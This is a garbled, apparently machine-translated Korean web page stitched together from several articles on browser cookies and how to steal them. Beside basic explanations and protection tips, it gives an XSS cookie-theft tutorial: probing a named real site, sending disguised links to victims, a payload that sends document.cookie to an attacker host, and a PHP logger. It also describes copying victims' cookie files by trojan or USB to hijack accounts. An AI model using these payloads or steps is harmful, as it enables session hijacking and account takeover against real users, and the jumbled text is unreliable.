내 친구가 한 사이트의 비밀번호를 잊어버렸습니다. 그러나 그는 이전에 로그인할 때 '기억하기' 확인란을 선택했습니다. 구글 브라우저 Chrome을 사용하여 자신의 계정으로 사이트에 로그인할 수 있었습니다. 이 마법의 상태를 다른 컴퓨터로 전송할 수 있는지 물었습니다. 물론 비밀번호를 변경하거나 복원하는 것이 더 정확하겠지만, 지인이 사건과 관련이 없는 이유로 하지 못했다.

인형에 intercepter-ng를 사용하는 방법

현대 소프트웨어의 다양한 선택에도 불구하고 인터셉터 ng보다 더 나은 Android용 해킹 프로그램을 찾기가 어렵습니다. 이 제품을 선호하는 첫 번째 기준은 실제 성능입니다. 네트워크에서 제안된 대부분의 스니퍼는 선언된 기능을 수행하지 않는 모방일 뿐입니다.

다음으로 긍정적인 요소는 응용 프로그램의 다양성과 광범위한 사용자 대상 범위입니다.

컴퓨터 도움말 939-29-71

순서대로 시작합시다. 쿠키 또는 "쿠키"는 정보가 포함된 책갈피인 매우 작은 텍스트 파일입니다.

웹 서버는 이 정보를 사용자의 브라우저로 보냅니다. 이 정보는 필요할 때까지 저장됩니다. 명확하지 않습니다. 잘. 확인.

더 쉽게 만들도록 노력하겠습니다. 보다. 당신은 어떤 사이트에 등록했습니다.

등록 시 바로 이러한 "쿠키"가 생성됩니다.

여기 있습니다.

쿠키 캐저

이 프로그램은 WiFi 네트워크의 트래픽을 수신하고 쿠키를 가로채고 브라우저에서 사용자 세션을 복제하여 자격 증명으로 요청을 반복합니다. 저자 Matthew Sullivan은 9월 30일 Derbycon 해커 컨퍼런스에서 프로그램에 대한 프레젠테이션을 했습니다. 연설 도중에 Matthew Sullivan은 Wi-Fi를 통해 회의 참석자 중 한 명의 Google과의 보안되지 않은 세션을 가로챘습니다.

쿠키를 훔치는 방법

사이트 페이지에 있는 동안 다음을 입력하면 주소 표시 줄 파이어폭스 브라우저또는 다음 텍스트를 Opera: javascript:document.write(document.cookie); remixAdminsBar=0; 리믹스 그룹 유형=0; 리믹스패스=********************; 리믹스월=0; 리믹스 정보=0; remixMembersBar=0; 리믹스 설명=0; remixautobookmark=8; remixemail=********; 리믹스미드=23363; remixchk=5; 리믹스오디오=0; remixlinksBar=1; remixOfficersBar=0; remixPhotosBar=0; remixTopicsBar=0; 리믹스비디오=0; remixRecentNews=0; remixAlbumsBar=0 주의! .

교차 사이트 스크립팅에 대한 완전한 가이드

XSS는 일종의 취약점입니다. 소프트웨어, 공격자가 다른 사용자가 보는 웹 페이지에 클라이언트 측 스크립트를 삽입할 수 있도록 하는 웹 응용 프로그램 고유의 Wikipedia에서는 XSS에 대해 다음과 같이 정의합니다. 보안 제한 브라우저 우회)"를 사용하여 공격자가 다른 사용자가 보는 웹 페이지에 클라이언트 측 스크립트를 삽입할 수 있습니다.

쿠키와 세션의 차이점

얼마 전에 사이트에서 사용자를 등록하고 권한을 부여하는 방법에 대한 기사를 작성했습니다.

". 이 기사에서는 세션과 쿠키의 차이점을 설명하겠습니다. 최종 선택을 하기 위해.

쿠키. 아니오, 쿠키에 관한 것이 아니라 귀하의 안전에 관한 것입니다. 따라서 다른 사람의 컴퓨터에서 즐겨찾는 사이트 "vkontakte"(또는 예를 들어 메일 보기)로 이동하고 "비밀번호 저장" 옵션을 거부하고 행복하게 메일을 살펴보고 떠나십시오. 그리고 당신의 이름으로 당신이 지금 갈 수 있다는 사실에 대해 생각하지 마십시오. 소셜 네트워크또는 메일.

나는 당신이 모르는 사이에 암호를 기억하는 프로그램의 상황을 고려하지 않습니다. 이것은 이미 의도적인 해킹이며 아마도 이와 같은 일이 발생할 수 있다고 의심하고 그러한 컴퓨터에서 즐겨 찾는 사이트로 이동하지 않을 것입니다. 그러나 우리는 단순한 인간의 호기심에 대해 이야기할 수 있습니다. 우리는 친구를 방문하고 다시 방문했고 그들은 당신의 메일을 읽을 기회를 얻었습니다. 그들이 그러한 기회를 거부할 것이라고 확신합니까? 무슨 일이 생길까봐 두렵지 않으세요? 어쨌든 저는 도덕 문제는 제쳐두고 암호를 묻지 않고도 일부 사이트에 들어갈 수 있는 정보가 컴퓨터에 어떻게 저장되는지에 대해 이야기할 것입니다.

쿠키를 훔치는 방법

그리고 이 기술의 이름은 쿠키입니다.

그리고 여기에서 모든 것이 시작되었습니다. 실제로 (이 사이트를 포함하여) 사이트를 탐색하는 http 프로토콜은 처음에 연결 유지 가능성을 암시하지 않았습니다. 즉, 대략적으로 말하면 사이트에 요청을 보내고 응답을 받고 화면에 표시되고 서버는 귀하에 대해 아무것도 기억하지 않습니다. 물론 이것은 사이트가 순전히 정보 제공이고 귀하에 대해 아무것도 기억하지 않아야 할 때 좋지만 우리는 웹 2.0 시대에 살고 있습니다 😉 프로토콜의 자연스러운 개발은 POST 및 GET 요청입니다. 일부 데이터를 보낼 때 서버는 데이터베이스 데이터에 기록하지만 이것으로는 충분하지 않습니다.

아주 간단한 예를 살펴보겠습니다. 법정. 그래서 등록했고 포럼에 이런 비밀번호와 기타 추가 데이터를 가진 이런 사용자가 있다는 기록이 있습니다. 그러나 이제 포럼으로 이동하여 로그인하십시오. 비밀번호를 입력하십시오. 어딘가에 당신이 로그인했다는 정보가 있어야 합니다. 서버에서? 당연히 아니지! 귀하의 컴퓨터에서 승인된 정보를 서버에 저장하는 것은 불가능합니다. 다른 사람과 귀하를 구별할 수 없습니다(귀하의 IP 주소도 귀하를 고유하게 식별하지 않습니다)! 따라서 인증이 발생한 정보는 컴퓨터에 저장되어야 합니다. 그것이 바로 쿠키의 목적이며 쿠키가 만들어진 목적입니다.

쿠키는 방문한 사이트에 대한 정보를 저장하는 컴퓨터의 작은 기록입니다. 승인되면 유사한 항목이 생성되고 그 후에는 이미 포럼을 둘러볼 수 있으며 사용자를 인식할 것입니다. 그러나 이것은 쿠키에 저장된 정보 덕분에 이미 자동으로 발생하므로 귀하가 포럼의 주 관리자인 것처럼 가장해도 비밀번호 확인을 우회하는 것은 여전히 ​​작동하지 않습니다.

이제 이 기사가 시작된 곳으로 돌아갈 수 있습니다. 암호를 저장하지 않고 어딘가에 로그인한 경우, 권한 없이 사용자 이름으로 이 리소스를 입력할 수 있는 항목이 컴퓨터에 생성되었을 수 있습니다. 이러한 항목 자체는 잠시 후 더 이상 사용되지 않게 되지만 강제로 지울 수 있습니다. 브라우저마다 이 작업을 다르게 수행합니다. 즐겨찾기에서 수행하는 방법을 알려 드리겠습니다. 구글 크롬. 옵션 열기

"고급" 탭으로 이동하여 "쿠키 표시" 버튼을 찾습니다.

이제 물론 모든 쿠키를 삭제할 수 있지만 컴퓨터 소유자를 화나게 할 수 있습니다. 따라서 예를 들어 상단 필드에 관심 있는 사이트의 이름을 입력할 수 있습니다.

그러면 이 사이트와 관련된 쿠키만 삭제할 수 있습니다. 내 것을 시도 할 수 있습니다. 또한, 내 포럼에 로그인한 다음 쿠키를 지우면 인증 정보가 잊혀집니다. 시도 해봐!

댓글

1. XSS란?
XSS 유형의 취약점으로 인해 페이지 본문에 임의의 자바스크립트 코드를 삽입할 수 있습니다. XSS 공격서버가 아니라 클라이언트에서 작동한다는 점에서 다른 것(예: SQL 주입 또는 PHP 주입)과 다릅니다.

쿠키를 훔치는 방법

그것의 도움으로 데이터베이스 테이블을 보거나 셸을 업로드하는 등의 작업을 할 수 없습니다. XSS의 가장 일반적인 용도는 쿠키를 훔치는 것입니다.
쿠키(쿠키) - 웹 서버가 생성하고 사용자의 컴퓨터에 파일로 저장되는 작은 데이터 조각. 일반적으로 쿠키는 계정을 저장하는 데 사용되며 대부분 인코딩된 암호, 로그인 및 세션 ID를 포함합니다.(항상 그런 것은 아님)
XSS는 능동형과 수동형의 두 가지 유형이 있습니다.

패시브 XSS예를 들어 자바스크립트 코드가 포함된 링크를 따라가는 등 피해자가 직접 참여하도록 요구합니다. 이 유형의 XSS를 사용할 때 SI(사회 공학) 없이는 할 수 없습니다.

활성 XSS피해자의 참여가 필요하지 않으며 XSS가 있는 페이지로 이동하기만 하면 됩니다. 활성 XSS는 예를 들어 포럼 게시물, 채팅, 뉴스 추가 등에 포함될 수 있습니다.

2.XSS 검색
이 단락에서는 xss를 찾는 방법을 알려 드리겠습니다.

2.1 패시브 XSS
수동 XSS를 찾으려면 입력 양식에서 대체하십시오.스크립트가 작동하고 "xss" 메시지가 나타나면 취약점이 있는 것입니다. 스크립트가 작동하지 않으면 계속 시도할 수 있습니다. ">, 이것은 아마도 가장 일반적인 xss 취약점일 것입니다. 둘 중 하나 또는 다른 스크립트가 작동하지 않으면 취약점이 없을 가능성이 큽니다.
예를 들어 보겠습니다.
http://miss.rambler.ru/srch/?sort=0& … amp;words=
"검색" 양식이 보이시나요? 거기에 넣어 ">"찾기"를 클릭하고
xss가 있는 창이 날아가서 xss가 있음을 의미합니다.(아마도 이 기사를 읽는 시점에는 이 xss가 이미 수정되었을 것입니다)

2.2 활성 XSS
이러한 CSS는 예를 들어 프로필 필드, 뉴스 이름으로 뉴스를 추가할 때, 뉴스 자체(덜 자주), html이 활성화된 포럼/채팅/방명록의 메시지에 있을 수 있습니다. 여기서는 모든 것이 간단합니다. 이전 하위 단락의 스크립트를 필드에 입력하고 메시지가 화면에 표시되면 취약점이 있는 것입니다.
포럼의 BB 태그에서 xss를 고려하십시오.
다음과 같이 태그에 자바스크립트 코드를 어리석게 삽입하려고 할 수 있습니다.
javascript:alert('xss')
일부 태그에는 매개변수가 있습니다. 예를 들어 태그에는 dynsrc 및 lowsrc 매개변수가 있습니다. 다음과 같이 코드를 대체해 보겠습니다.
http://www.site.ru/image.jpg dynsrc=javascript:alert('xss')
스크립트가 작동했다면 xss는

3.XSS를 사용하여 쿠키 훔치기
이제 가장 맛있는
쿠키를 훔치려면 웹 탐지기가 필요합니다. 호스팅에 일종의 탐지기를 설치하거나 현재 가득 찬 온라인 탐지기를 사용할 수 있습니다.
수동 XSS를 통해 쿠키를 훔치려면 피해자가 유독한 링크를 따라가야 합니다. 쿠키를 훔치기 위해 대신 사용할 것입니다.다른 스크립트:
우리는 링크의 스크립트를 대체하고 피해자가 그것을 따르도록 하고, 스니퍼 로그를 보고 기뻐합니다.
예를 들어 보겠습니다.
이전 단락의 rambler에 대한 XSS를 살펴보겠습니다.
반죽
">
검색 양식에서 "찾기"를 클릭하고 주소 표시줄을 보고 다음을 확인합니다.

http://miss.rambler.ru/srch/?sort=0& … &words =">
우리는 이 링크를 피해자에게 던지고 쿠키를 즐깁니다.
이러한 링크를 보면 피해자는 무언가를 의심할 수 있으므로 인코딩하는 것이 좋습니다.
">
URL에서 또는 http://tinyurl.com/과 같은 서비스를 사용하십시오.
활성 XSS로 이동해 보겠습니다. 여기서는 모든 것이 간단합니다. alert() 대신 img = new Image()를 삽입합니다. img.src = "sniffer image address"+document.cookie;

이제 쿠키가 있습니다. 하지만 어떻게 해야 할까요? 간단합니다. 자체 대신 교체해야 합니다. 에 오페라 브라우저내장 쿠키 편집기(도구->고급->쿠키 관리)가 있고, 파이어폭스용 플러그인이 있습니다(이름이 기억나지 않습니다. 구글 사용)
지금은 그게 전부입니다. 아마도 기사가 보완 될 것입니다.

COOKIES 쿠키를 얻는 방법에 대한 질문입니다. 쿠키가 필요한데 얻는 방법을 알려주세요!!! 1 저자가 설정 블라드 에에에에에에에에에에에에에에에에에에에까지가장 좋은 대답은 쿠키란 무엇입니까?
사실은 www 기술의 개발과 인터넷의 프로그래밍 언어 도입 과정에서 프로그램 개발자에게 매우 심각한 문제가 발생했습니다. 특정 사용자에 대한 알고리즘 실행 결과를 저장하는 방법 오랫동안? HTTP 프로토콜 자체로는 소프트웨어 프로세스의 결과를 캡처하는 기능이 없습니다. 세션을 사용하는 것도 문제의 해결 방법이 아닙니다. 서버 연결이 끊어진 직후 해당 작업이 종료되기 때문입니다.
이 문제는 쿠키 메커니즘(즉, 영어에서 "쿠키"로 번역됨)의 도입으로 해결되었습니다. 쿠키는 놀라운 속성을 가지고 있습니다. 쿠키는 사용자의 하드 드라이브에 저장되며 거의 무제한으로 거기에 저장할 수 있습니다.
쿠키는 기본적으로 브라우저에서 사용하는 특수 디렉토리(보통 임시 인터넷 파일이라고 함)에 저장된 일반 텍스트 파일이며 이 디렉토리( 빠른 액세스 IE 브라우저의 경우 도구 -> 인터넷 옵션 -> 임시 인터넷 파일 -> 설정 -> 보기 메뉴 항목을 통해 수행됩니다.
일부 쿠키는 한 세션 동안만 저장할 수 있으며 브라우저가 닫힌 후 삭제됩니다. 일정 기간 동안 설정된 나머지는 파일에 기록됩니다. 일반적으로 이 파일은 "cookies.txt"(여러 개 있을 수 있음)라고 하며 컴퓨터에 설치된 브라우저의 작업 디렉터리에 있습니다.
다시 말해서
쿠키는 서버가 브라우저에 보내는 작은 텍스트 정보입니다. 쿠키는 자체적으로는 아무 것도 할 수 없지만 사용자가 서버에 액세스하면(브라우저 행에 주소 입력) 서버는 쿠키에 포함된 정보를 읽고 분석에 따라 모든 작업을 수행할 수 있습니다. 예를 들어 웹을 통해 액세스 권한이 부여된 경우 세션 중에 로그인 및 비밀번호가 쿠키에 저장되어 사용자가 비밀번호로 보호된 각 문서를 요청할 때 다시 입력하지 않도록 합니다.
이 항목을 통해 다른 사람의 암호로 보호된 계정에 액세스하려는 경우 원격(트로이 목마) 또는 플래시 드라이브에 뻔뻔스럽게 복사하는 방법을 찾아야 합니다. 피해자가 일하는 컴퓨터에 액세스할 수 있는 경우, 이 cookie.txt 파일을 복사하여 귀하의 (동일한) 브라우저에서 대체하십시오. 그런 다음 관심 있는 계정이 있는 원하는 사이트로 이동하면 자동으로 액세스 권한이 부여됩니다. 그러나 피해자가 작업 종료 시 계정(예: 메일)에서 탈퇴를 누르면 쿠키에서 세션 정보가 지워지고 액세스할 수 없음을 명심하십시오.
Mozilla Firefox는 C:Documents and SettingsUsernameApplication DataMozillaFirefoxProfiles 파일의 사용자 프로필에 쿠키를 저장합니다.<имя профиля>쿠키.txt
Internet Explorer는 이러한 쿠키를 C:Documents 및 SettingsUsernameCookies 폴더에 별도의 텍스트 파일로 저장합니다.
Opera는 C:Documents and SettingsUsernameApplication DataOperaOperaprofilecookies4.dat 파일에 쿠키를 저장합니다.

쿠키 - 웹사이트가 이용자의 컴퓨터에 저장하는 텍스트 파일 형태의 정보 인증 데이터(로그인/비밀번호, 아이디, 전화번호, 주소)가 들어 있습니다. 사서함), 사용자 설정, 액세스 상태. 브라우저 프로필에 저장됩니다.

쿠키 해킹 웹 리소스에 대한 방문자 세션의 절도(또는 "하이재킹")입니다. 비밀 정보는 보낸 사람과 받는 사람뿐 아니라 가로채는 사람인 제3자도 사용할 수 있게 됩니다.

쿠키 해킹 도구 및 기법

컴퓨터 도둑은 실생활의 동료와 마찬가지로 기술, 손재주 및 지식 외에도 자신의 도구를 가지고 있습니다. 일종의 마스터 키 및 프로브 무기고입니다. 인터넷 거주자들로부터 쿠키를 찾는 데 사용하는 해커의 가장 인기 있는 속임수에 대해 알아보겠습니다.

스니퍼

특별 프로그램네트워크 트래픽을 모니터링하고 분석합니다. 그들의 이름은 영어 동사 "sniff"(sniff)에서 유래했습니다. 말 그대로 노드 간에 전송된 패킷을 "스니핑 아웃"합니다.

그러나 공격자는 스니퍼를 사용하여 세션 데이터, 메시지 및 기타 기밀 정보. 공격의 대상은 대부분 안전하지 않은 네트워크로, 쿠키는 개방형 HTTP 세션에서 전송됩니다. 즉, 실제로 암호화되지 않습니다. (공용 와이파이가 가장 취약합니다.)

다음 방법은 사용자의 호스트와 웹 서버 사이의 인터넷 채널에 스니퍼를 삽입하는 데 사용됩니다.

  • 네트워크 인터페이스(허브, 스위치)에 대한 "청취";
  • 트래픽 분기 및 복사;
  • 네트워크 채널 중단에 대한 연결;
  • 피해자 트래픽을 스니퍼(MAC-spoofing, IP-spoofing)로 리디렉션하는 특수 공격을 통한 분석.

XSS는 Cross Site Scripting의 약자입니다. 사용자 데이터를 훔치기 위해 웹사이트를 공격하는 데 사용됩니다.

XSS가 작동하는 방식은 다음과 같습니다.

  • 공격자가 웹사이트, 포럼 또는 메시지(예: 소셜 네트워크에서 채팅할 때)의 웹 페이지에 악성 코드(특수 위장 스크립트)를 삽입합니다.
  • 피해자가 감염된 페이지를 방문하여 활성화 코드 설정 PC에서(클릭, 링크 따라가기 등)
  • 차례로 활성화된 악성 코드는 브라우저(특히 쿠키)에서 사용자의 기밀 데이터를 "추출"하여 공격자의 웹 서버로 보냅니다.

소프트웨어 XSS 메커니즘을 "삽입"하기 위해 해커는 웹 서버, 온라인 서비스 및 브라우저에서 모든 종류의 취약점을 사용합니다.

모든 XSS 취약점은 두 가지 유형으로 나뉩니다.

  • 수동적인. 공격은 특정 웹 페이지 스크립트를 쿼리하여 획득합니다. 악성코드웹 페이지(예: 사이트의 검색 창)에서 다양한 형식으로 입력할 수 있습니다. 수동 XSS에 가장 취약한 것은 데이터가 도착할 때 HTML 태그를 필터링하지 않는 리소스입니다.
  • 활동적인. 서버에 직접 위치합니다. 그리고 피해자의 브라우저에서 활성화됩니다. 다양한 블로그, 채팅 및 뉴스 피드에서 사기꾼이 적극적으로 사용합니다.

해커는 피해자가 아무것도 의심하지 않도록 XSS 스크립트를 신중하게 "위장"합니다. 그들은 파일 확장자를 변경하고, 코드를 이미지로 전달하고, 링크를 따르도록 동기를 부여하고, 흥미로운 콘텐츠로 관심을 끕니다. 결과적으로 자신의 호기심에 대처하지 못한 PC 사용자가 자신의 손으로(마우스 클릭으로) 세션 쿠키(로그인 및 암호 포함!)를 XSS 스크립트 작성자인 컴퓨터 악당에게 보냅니다.

쿠키 스푸핑

모든 쿠키는 동일한 값, 문자열 및 기타 데이터를 사용하여 원래 형식으로 변경 없이 저장되고 웹 서버("출처")로 전송됩니다. 매개변수를 의도적으로 수정하는 것을 쿠키 스푸핑이라고 합니다. 즉, 쿠키가 스푸핑되면 공격자는 희망적인 생각을 하게 됩니다. 예를 들어, 온라인 상점에서 결제할 때 쿠키에서 결제 금액이 더 작은 쪽으로 변경되므로 구매에 대한 "저축"이 있습니다.

다른 사람의 계정에서 소셜 네트워크에서 도난당한 세션 쿠키는 다른 세션과 다른 PC에 "삽입"됩니다. 도난당한 쿠키의 소유자는 전체 권한피해자가 페이지에 있는 한 피해자의 계정(서신, 콘텐츠, 페이지 설정)으로 이동합니다.

"편집" 쿠키는 다음을 사용하여 수행됩니다.

  • Opera 브라우저에서 "쿠키 관리 ..." 기능;
  • FireFox용 애드온 쿠키 관리자 및 고급 쿠키 관리자;
  • IECookiesView 유틸리티(Internet Explorer 전용);
  • 텍스트 에디터 AkelPad, 메모장 또는 Windows 메모장과 같은.

데이터에 대한 물리적 액세스

고도로 간단한 회로구현은 여러 단계로 구성됩니다. 그러나 피해자의 컴퓨터가 다음과 같은 경우에만 유효합니다. 공개 세션, 예를 들어 Vkontakte는 (그리고 꽤 오랫동안!) 무인 상태로 남아 있습니다.

  1. 브라우저의 주소 표시줄에 입력 자바스크립트 함수, 저장된 모든 쿠키를 표시합니다.
  2. "ENTER"를 누르면 모두 페이지에 나타납니다.
  3. 쿠키는 복사되어 파일에 저장된 후 플래시 드라이브에 전송됩니다.
  4. 다른 PC에서는 새 세션에서 쿠키가 교체됩니다.
  5. 피해자의 계정에 대한 액세스가 열립니다.

일반적으로 해커는 위의 도구(+ 기타)를 조합하여(많은 웹 리소스에 대한 보호 수준이 상당히 높기 때문에) 개별적으로(사용자가 지나치게 순진한 경우) 사용합니다.

XSS + 스니퍼

  1. 온라인 스니퍼(자체 제품 또는 특정 서비스)의 주소를 지정하는 XSS 스크립트가 생성됩니다.
  2. 악성코드는 .img 확장자(그림 형식)로 저장됩니다.
  3. 그런 다음 이 파일은 공격이 수행될 사이트 페이지, 채팅 또는 개인 메시지에 업로드됩니다.
  4. 사용자의 주의는 생성된 "트랩"(여기서 사회 공학이 작용함)에 끌립니다.
  5. "트랩"이 작동하면 스니퍼가 피해자 브라우저의 쿠키를 가로챕니다.
  6. 크래커는 스니퍼 로그를 열고 도난당한 쿠키를 추출합니다.
  7. 그런 다음 위의 도구를 사용하여 계정 소유자의 권한을 얻기 위해 대체를 수행합니다.

해킹으로부터 쿠키 보호

  1. 암호화된 연결을 사용하십시오(적절한 프로토콜 및 보안 방법 사용).
  2. 모호한 링크, 사진, "새로운 무료 소프트웨어"에 대해 알아보려는 유혹적인 제안에 응답하지 마십시오. 특히 낯선 사람에게서.
  3. 신뢰할 수 있는 웹 리소스만 사용하십시오.
  4. "로그아웃" 버튼을 눌러 승인된 세션을 종료합니다(단순히 탭을 닫는 것이 아닙니다!). 특히 계정이 다음으로 로그인되지 않은 경우 개인용 컴퓨터, 그러나 예를 들어, 인터넷 카페의 PC에서.
  5. 브라우저의 "비밀번호 저장" 기능을 사용하지 마십시오. 저장된 등록 데이터는 때때로 도난 위험을 증가시킵니다. 게으르지 마십시오. 각 세션이 시작될 때 암호를 입력하고 로그인하는 데 몇 분의 시간을 할애하지 마십시오.
  6. 웹 서핑 후 - 소셜 네트워크, 포럼, 채팅, 사이트 방문 - 저장된 쿠키를 삭제하고 브라우저 캐시를 지웁니다.
  7. 브라우저와 바이러스 백신 소프트웨어를 정기적으로 업데이트하십시오.
  8. XSS 공격으로부터 보호하는 브라우저 확장 프로그램을 사용하십시오(예: FF 및 Google Chrome용 NoScript).
  9. 정기적으로 계정에.

그리고 가장 중요한 것은 - 휴식을 취하거나 인터넷에서 작업하는 동안 경계와 주의를 잃지 마십시오!

쿠키란?

http 서버가 사용자의 컴퓨터에 일부를 저장할 수 있는 메커니즘이 있습니다. 문자 정보그런 다음 그녀에게 연락하십시오. 이 정보쿠키라고 합니다. 사실, 각 쿠키는 매개변수의 이름과 값의 쌍입니다. 각 쿠키에는 해당 쿠키가 속한 도메인도 할당됩니다. 보안을 위해 모든 브라우저에서 http 서버는 자체 도메인 쿠키에만 액세스할 수 있습니다. 또한 쿠키에는 만료 날짜가 있을 수 있으며 이 경우 모든 브라우저 창을 닫아도 이 날짜까지 컴퓨터에 저장됩니다.


쿠키가 왜 중요한가요?

모든 다중 사용자 시스템에서 쿠키는 사용자를 식별하는 데 사용됩니다. 또는 오히려, 사용자와 서비스의 현재 연결, 사용자 세션. 누군가 귀하의 쿠키를 인식하면 귀하를 대신하여 로그인할 수 있습니다. 때문에 이 순간한 사용자 세션 동안 IP 주소 변경을 확인하는 인터넷 리소스는 거의 없습니다.


쿠키를 변경하거나 변경하는 방법은 무엇입니까?

브라우저 개발자는 쿠키 편집을 위한 내장 도구를 제공하지 않습니다. 하지만 일반 메모장(메모장)으로 처리할 수 있습니다.


1단계: 생성 텍스트 파일텍스트와 함께

창 레지스트리 편집기버전 5.00



@="C:\\IE_ext.htm"

IE_ext.reg라는 이름으로 저장합니다.

2단계: 생성된 파일을 사용하여 Windows 레지스트리에 변경 사항을 추가합니다.

3단계: 텍스트가 포함된 텍스트 파일 만들기

< script 언어="자바스크립트">
external.menuArguments.clipboardData.setData("텍스트", external.menuArguments.document.cookie);

external.menuArguments.document.cookie= "테스트 이름=테스트값; 경로=/; 도메인=테스트도메인.ru";
경고(external.menuArguments.document.cookie);


C:\IE_ext.htm으로 저장합니다.

4단계: 관심 있는 웹사이트로 이동합니다.

5단계: 마우스 오른쪽 버튼으로 클릭마우스 클릭 자유 공간페이지에서 메뉴 항목을 선택합니다. "쿠키 작업". 클립보드에 대한 액세스를 허용합니다. 이 사이트의 쿠키는 클립보드에 저장됩니다. 자신의 메모장(메모장)을 붙여넣고 볼 수 있습니다.


6단계: 일부 쿠키를 변경하려면 C:\IE_ext.htm 파일을 수정합니다. 테스트 이름쿠키 이름으로, 테스트 값- 그 의미에 대해, testdomain.ru- 웹사이트 도메인으로. 필요한 경우 이와 같은 줄을 더 추가합니다. 제어의 편의를 위해 변경 전후에 현재 쿠키의 출력을 스크립트에 추가했습니다. 경고(external.menuArguments.document.cookie);

7단계: 5단계를 다시 실행한 다음 페이지를 새로 고칩니다.

결론: 업데이트된 쿠키가 있는 이 인터넷 리소스로 이동합니다.

JavaScript로 쿠키를 훔치는 방법?

공격자가 피해자의 컴퓨터에서 임의의 JavaScript 스크립트를 실행할 기회를 찾은 경우 다음을 읽으십시오. 현재 쿠키그는 아주 쉽게 할 수 있습니다. 예시:


varstr=문서.쿠키;

그러나 이전에 지적했듯이 JavaScript 스크립트는 추가 확인다른 도메인에 있는 사이트에 액세스하시겠습니까? JavaScript 스크립트는 모든 http 서버에 있는 모든 이미지를 로드할 수 있습니다. 동시에 다운로드 요청의 모든 텍스트 정보를 이 그림으로 전송합니다. 예시: http://hackersite.ru/xss.jpg?text_info따라서 이 코드를 실행하면:

변종= 새로운 이미지();

img.src= "http://hackersite.ru/xss.jpg?"+ encodeURI(문서.쿠키);


그러면 쿠키는 "사진"을 다운로드하고 공격자에게 "남겨두기" 요청에 포함될 것입니다.

이러한 "사진" 업로드 요청을 처리하는 방법은 무엇입니까?

공격자는 호스팅을 찾기만 하면 됩니다. PHP 지원다음과 같이 코드를 배치하십시오.

$uid=urldecode($_SERVER["QUERY_STRING"]);
$fp=fopen("log.txt","a");
fputs($fp,"$uid\n");
f닫기($fp);
?>

그러면 이 스크립트에 대한 모든 쿼리 매개변수가 파일에 저장됩니다. log.txt. 대체하기 위해 이전에 설명한 JavaScript 스크립트에만 남아 있습니다. http://hackersite.ru/xss.jpg이 PHP 스크립트의 경로에.


결과

나는 XSS 취약점을 악용하는 가장 간단한 방법만을 보여주었다. 그러나 다중 사용자 인터넷 사이트에 이러한 취약점이 하나 이상 존재하면 공격자가 사용자를 대신하여 해당 리소스를 사용할 수 있음이 입증되었습니다.

Opera 주 메뉴를 열고 "설정"섹션으로 이동하여 " 일반 설정...". 그리고 당신은 단지 핫을 누를 수 있습니다 Ctrl 키+ F12. 그러면 "고급" 탭에서 왼쪽 창의 "쿠키" 섹션을 클릭해야 하는 브라우저 설정 창이 열립니다. 그 안에서 "쿠키 관리" 버튼을 클릭해야 합니다.

에 모질라 파이어 폭스메뉴에서 "도구"섹션을 열고 "설정"항목을 선택하십시오. 설정 창에서 "개인 정보" 탭으로 이동하여 "쿠키 표시 ..."라는 버튼을 찾은 다음 클릭하여 브라우저에 저장된 쿠키 목록에 액세스해야 합니다. 여기에서 검색하고 볼 수 있습니다.

Internet Explorer에서 메뉴의 "도구" 섹션을 확장하고 "속성"을 선택합니다. 속성 설정 창에서 일반 탭으로 이동하여 검색 기록 섹션에서 옵션 버튼을 클릭합니다. 이런 식으로 "파일 표시" 버튼을 클릭해야 하는 다른 창("임시 파일 옵션")이 열립니다.

열리는 Internet Explorer 임시 파일 폴더의 내용 목록에서 "이름" 제목을 클릭하십시오. 이렇게 하면 모든 쿠키를 이기종 파일의 공통 더미에서 하나의 블록으로 그룹화할 수 있습니다. 여기에서 원하는 파일을 찾아 표준 메모장에서 열어 보거나 편집할 수 있습니다.

Google 크롬에서 창의 오른쪽 상단 모서리에 있는 공구모양 아이콘을 클릭하고 메뉴에서 옵션을 선택합니다. 브라우저에서 "설정" 페이지가 열리고 왼쪽 창에서 "고급" 링크를 클릭하고 고급 설정 페이지에서 "콘텐츠 설정" 버튼을 클릭합니다. 아직 아니야 마지막 페이지이 브라우저에 의해 저장된 쿠키로 가는 도중.

다음 페이지에서 "모든 쿠키 및 사이트 데이터" 버튼을 클릭하면 마침내 쿠키 목록에 액세스할 수 있습니다.

Google 크롬은 쿠키를 검색, 조회 및 삭제할 수 있는 기능을 제공합니다.

Safari 브라우저에서 오른쪽에 있는 톱니바퀴 아이콘을 클릭합니다. 상단 모서리"설정 ..."줄을 선택하십시오. 설정 변경 창에서 "쿠키 표시" 버튼을 클릭하려면 "보안" 탭으로 이동해야 합니다. Safari는 쿠키 검색 및 삭제 기능만 제공하며 이러한 임시 파일의 내용은 여기에서 부분적으로만 볼 수 있습니다.